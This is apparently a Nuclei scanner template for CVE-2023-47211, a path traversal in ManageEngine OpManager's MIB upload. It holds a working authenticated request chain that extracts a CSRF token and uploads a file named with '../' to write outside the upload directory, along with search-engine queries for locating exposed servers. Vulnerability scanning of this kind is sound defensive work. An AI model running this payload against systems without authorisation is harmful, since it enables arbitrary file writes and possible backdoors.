ManageEngine OpManager - Directory Traversal

id: CVE-2023-47211

info:
  name: ManageEngine OpManager - Directory Traversal
  author: gy741
  severity: high
  description: |
    A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.
  impact: |
    Unauthenticated attackers can write arbitrary files to the system via path traversal, potentially creating backdoors or compromising system integrity.
  remediation: |
    Update ManageEngine OpManager to version 12.7.259 or later.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1851
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47211
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
    cvss-score: 8.6
    cve-id: CVE-2023-47211
    cwe-id: CWE-22
    epss-score: 0.47024
    epss-percentile: 0.98842
    cpe: cpe:2.3:a:zohocorp:manageengine_firewall_analyzer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: zohocorp
    product: manageengine_firewall_analyzer
    shodan-query:
      - "http.title:\"OpManager Plus\""
      - http.title:"opmanager plus"
    fofa-query: title="opmanager plus"
    google-query: intitle:"opmanager plus"
  tags: cve,cve2023,zoho,manageengine,authenticated,traversal,lfi,intrusive,zohocorp,vuln

http:
  - raw:
      - |
        POST /two_factor_auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username={{username}}&j_password={{password}}

      - |
        POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
        Host: {{Hostname}}
        X-ZCSRF-TOKEN: opmcsrftoken={{x_zcsrf_token}}
        Content-Type: multipart/form-data; boundary=---------------------------372334936941313273904263503262

        -----------------------------372334936941313273904263503262
        Content-Disposition: form-data; name="mibFile"; filename="karas.txt"
        Content-Type: text/plain

        ../images/karas DEFINITIONS ::= BEGIN


        IMPORTS
            enterprises
                FROM RFC1155-SMI;

        microsoft       OBJECT IDENTIFIER ::= { enterprises 311 }
        software        OBJECT IDENTIFIER ::= { microsoft 1 }
        systems         OBJECT IDENTIFIER ::= { software 1 }
        os              OBJECT IDENTIFIER ::= { systems 3 }
        windowsNT       OBJECT IDENTIFIER ::= { os 1 }
        windows         OBJECT IDENTIFIER ::= { os 2 }
        workstation     OBJECT IDENTIFIER ::= { windowsNT 1 }
        server          OBJECT IDENTIFIER ::= { windowsNT 2 }
        dc              OBJECT IDENTIFIER ::= { windowsNT 3 }

        END

        -----------------------------372334936941313273904263503262--

      - |
        POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
        Host: {{Hostname}}
        X-ZCSRF-TOKEN: opmcsrftoken={{x_zcsrf_token}}
        Content-Type: multipart/form-data; boundary=---------------------------372334936941313273904263503262

        -----------------------------372334936941313273904263503262
        Content-Disposition: form-data; name="mibFile"; filename="karas.txt"
        Content-Type: text/plain

        ../images/karas DEFINITIONS ::= BEGIN


        IMPORTS
            enterprises
                FROM RFC1155-SMI;

        microsoft       OBJECT IDENTIFIER ::= { enterprises 311 }
        software        OBJECT IDENTIFIER ::= { microsoft 1 }
        systems         OBJECT IDENTIFIER ::= { software 1 }
        os              OBJECT IDENTIFIER ::= { systems 3 }
        windowsNT       OBJECT IDENTIFIER ::= { os 1 }
        windows         OBJECT IDENTIFIER ::= { os 2 }
        workstation     OBJECT IDENTIFIER ::= { windowsNT 1 }
        server          OBJECT IDENTIFIER ::= { windowsNT 2 }
        dc              OBJECT IDENTIFIER ::= { windowsNT 3 }

        END

        -----------------------------372334936941313273904263503262--

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "MIBFile with same name already exists")'
        condition: and

    extractors:
      - type: regex
        name: x_zcsrf_token
        group: 1
        part: header
        regex:
          - 'Set-Cookie: opmcsrfcookie=([^;]{50,})'
        internal: true